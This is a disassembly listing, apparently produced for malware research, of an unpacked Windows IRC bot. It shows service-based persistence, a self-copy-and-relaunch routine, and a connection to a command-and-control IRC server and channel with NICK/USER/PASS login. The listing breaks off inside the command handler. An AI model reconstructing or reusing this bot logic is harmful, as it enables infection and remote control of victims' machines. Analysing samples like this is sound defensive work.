;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	E14427D037DAEF0BA9C362BC6FF53436

; File Name   :	u:\work\e14427d037daef0ba9c362bc6ff53436_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DD000 ( 905216.)
; Section size in file		: 000DD000 ( 905216.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
___		segment	para public 'DATA' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_418359+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServceA ; "Windows Servce Agent"

loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CAF58
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAFC8
		jmp	short loc_401057
; ---------------------------------------------------------------------------

loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CAF08

loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CAF80
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh

loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427238[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx

loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:00416643p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41B4D5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA

loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41B202
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41B11A
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------

loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------

loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41B0B1
		push	edi
		call	sub_41B05B
		add	esp, 10h
		mov	eax, ebx

loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43DEEC
		call	dword_4CB03C
		call	sub_40B2BF
		call	dword_4CAEFC
		call	dword_4CAEFC
		mov	ebx, dword_427078
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_43D158
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2650C30h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427068
		call	esi
		push	[ebp+var_C]
		call	esi

loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43D150
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx

loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418684
		pop	ecx
		mov	dword_4CACE0, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270A8
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CACE4, eax
		call	esi
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_409B12
		push	2
		call	dword_4CB050
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 268095Ch
		push	eax
		nop
		call	near ptr 2680893h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h

loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CAF14
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2680765h
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41B9D1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_4293F4
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41B980
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41B900
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C

loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41AFE0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379

loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 268067Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		call	near ptr 26804F4h
		nop

loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427090
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax

loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2670D55h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C

loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 2670535h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------

loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_418293
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 26804F4h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset dword_43D158
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2670CFFh
		push	eax
		push	esi
		push	100000h
		nop
		call	near ptr 26707E3h
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_4293E0
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2650C30h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 2670535h
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427068
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CAEFC
		push	ebx
		call	near ptr 77E75CB5h
		nop

loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DB2C4, 2
		jle	short loc_401562
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+4]
		call	sub_41B779
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	near ptr 2680893h
		nop
		push	esi
		nop
		call	near ptr 2650939h
		mov	eax, dword_4DB2C8
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 2670535h
		mov	eax, dword_4DB2C8
		push	dword ptr [eax+8]
		nop
		call	near ptr 2670716h

loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CB074, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx

loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B0F6
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	0B80h
		push	ebx
		push	offset dword_43D160
		call	sub_41B590
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_4293A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_42707C
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset dword_419A00
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_401622
		call	near ptr 2670D55h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429360
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		push	2
		call	sub_40B33E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429334
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	short loc_40169A
		nop
		call	near ptr 2670D55h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_429300
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41B8E2
		push	7Fh
		and	eax, 3
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		mov	dword_4CAE58, eax
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CAD6C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		mov	esi, offset dword_4CADAC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword_4CAE40, ebx

loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx

loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CACE8
		mov	dword_4CAE54, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CAE54, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]

loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 2670535h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aSaber_ircqforu ; "saber.ircqforum.com"
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CACEC
		call	sub_41B5F0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CAE3C, eax
		call	sub_41B5F0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41B5F0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------

loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B2BF

loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CAEFC

loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+662Ao

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1

loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CAFA4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40AAF9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40B08D
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43DEF8
		push	edi
		push	eax
		call	sub_41B5F0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CB024
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43DEEC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CB03C
		call	sub_40AB22
		push	7D0h

loc_4018CD:				; CODE XREF: sub_4017ED+146j
		call	near ptr 2670535h
		nop
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_4293FC
		call	sub_415220
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CB03C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------

loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------

loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------

loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	2
		pop	eax

loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx

loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CAE50, bl
		jz	short loc_40199A
		push	offset byte_4CAE50
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409A2C
		add	esp, 0Ch

loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CB03C
		push	1388h
		nop
		call	near ptr 2670535h

loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax

loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_417F7F
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]

loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi

loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 2670535h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------

loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------

loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------

loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2

loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_5D88	= byte ptr -5D88h
var_5988	= byte ptr -5988h
var_5588	= byte ptr -5588h
var_53F8	= byte ptr -53F8h
var_51F8	= byte ptr -51F8h
var_50F4	= byte ptr -50F4h
var_4FF4	= byte ptr -4FF4h
var_4EF0	= byte ptr -4EF0h
var_4DF0	= byte ptr -4DF0h
var_4CF0	= byte ptr -4CF0h
var_4BF0	= byte ptr -4BF0h
var_4AF0	= byte ptr -4AF0h
var_48F0	= byte ptr -48F0h
var_47EC	= byte ptr -47ECh
var_46EC	= byte ptr -46ECh
var_45EC	= byte ptr -45ECh
var_4588	= byte ptr -4588h
var_4488	= byte ptr -4488h
var_4288	= byte ptr -4288h
var_4188	= byte ptr -4188h
var_4088	= byte ptr -4088h
var_3F88	= dword	ptr -3F88h
var_3F84	= byte ptr -3F84h
var_3F04	= byte ptr -3F04h
var_3E00	= byte ptr -3E00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= dword	ptr -3CE8h
var_3CE4	= byte ptr -3CE4h
var_3C64	= byte ptr -3C64h
var_3BE4	= byte ptr -3BE4h
var_3B64	= byte ptr -3B64h
var_3AE4	= byte ptr -3AE4h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= dword	ptr -3A58h
var_3A54	= byte ptr -3A54h
var_37CD	= byte ptr -37CDh
var_37CC	= byte ptr -37CCh
var_36C8	= dword	ptr -36C8h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B4	= dword	ptr -36B4h
var_36AC	= dword	ptr -36ACh
var_36A8	= dword	ptr -36A8h
var_36A4	= byte ptr -36A4h
var_3624	= byte ptr -3624h
var_35A4	= byte ptr -35A4h
var_3524	= byte ptr -3524h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= byte ptr -3410h
var_3390	= byte ptr -3390h
var_3310	= byte ptr -3310h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= dword	ptr -3280h
var_327C	= byte ptr -327Ch
var_31FC	= byte ptr -31FCh
var_317C	= byte ptr -317Ch
var_30FC	= byte ptr -30FCh
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= dword	ptr -306Ch
var_3068	= byte ptr -3068h
var_2FE8	= byte ptr -2FE8h
var_2F68	= byte ptr -2F68h
var_2EE8	= byte ptr -2EE8h
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= dword	ptr -2E5Ch
var_2E58	= byte ptr -2E58h
var_2D54	= dword	ptr -2D54h
var_2D50	= byte ptr -2D50h
var_2C4C	= byte ptr -2C4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= dword	ptr -2B40h
var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
